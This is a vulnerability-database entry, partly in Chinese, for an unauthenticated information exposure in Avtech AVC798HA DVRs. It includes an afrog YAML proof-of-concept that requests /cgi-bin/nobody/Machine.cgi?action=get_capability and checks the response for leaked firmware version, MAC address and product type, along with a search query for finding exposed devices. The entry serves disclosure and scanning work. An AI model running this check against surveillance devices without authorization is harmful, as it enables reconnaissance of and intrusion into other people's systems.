avtech-dvr-exposure: Avtech AVC798HA DVR Information Exposure

日期: 2025-09-01 | 影响软件: Avtech DVR | POC: 已公开

漏洞描述

Under the /cgi-bin/nobody folder every CGI script can be accessed without authentication. app="AVTECH-视频监控"

PoC代码[已公开]

id: avtech-dvr-exposure

info:
  name: Avtech AVC798HA DVR Information Exposure
  author: geeknik
  severity: low
  verified: true
  description: |
    Under the /cgi-bin/nobody folder every CGI script can be accessed without authentication.
    app="AVTECH-视频监控"
  reference: 
    - http://www.avtech.com.tw/

rules:
    r0:
        request:
            method: GET
            path: /cgi-bin/nobody/Machine.cgi?action=get_capability
        expression: response.status == 200 && response.body.bcontains(b"Firmware.Version=") && response.body.bcontains(b"MACAddress=") && response.body.bcontains(b"Product.Type=")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/avtech-dvr-exposure.yaml

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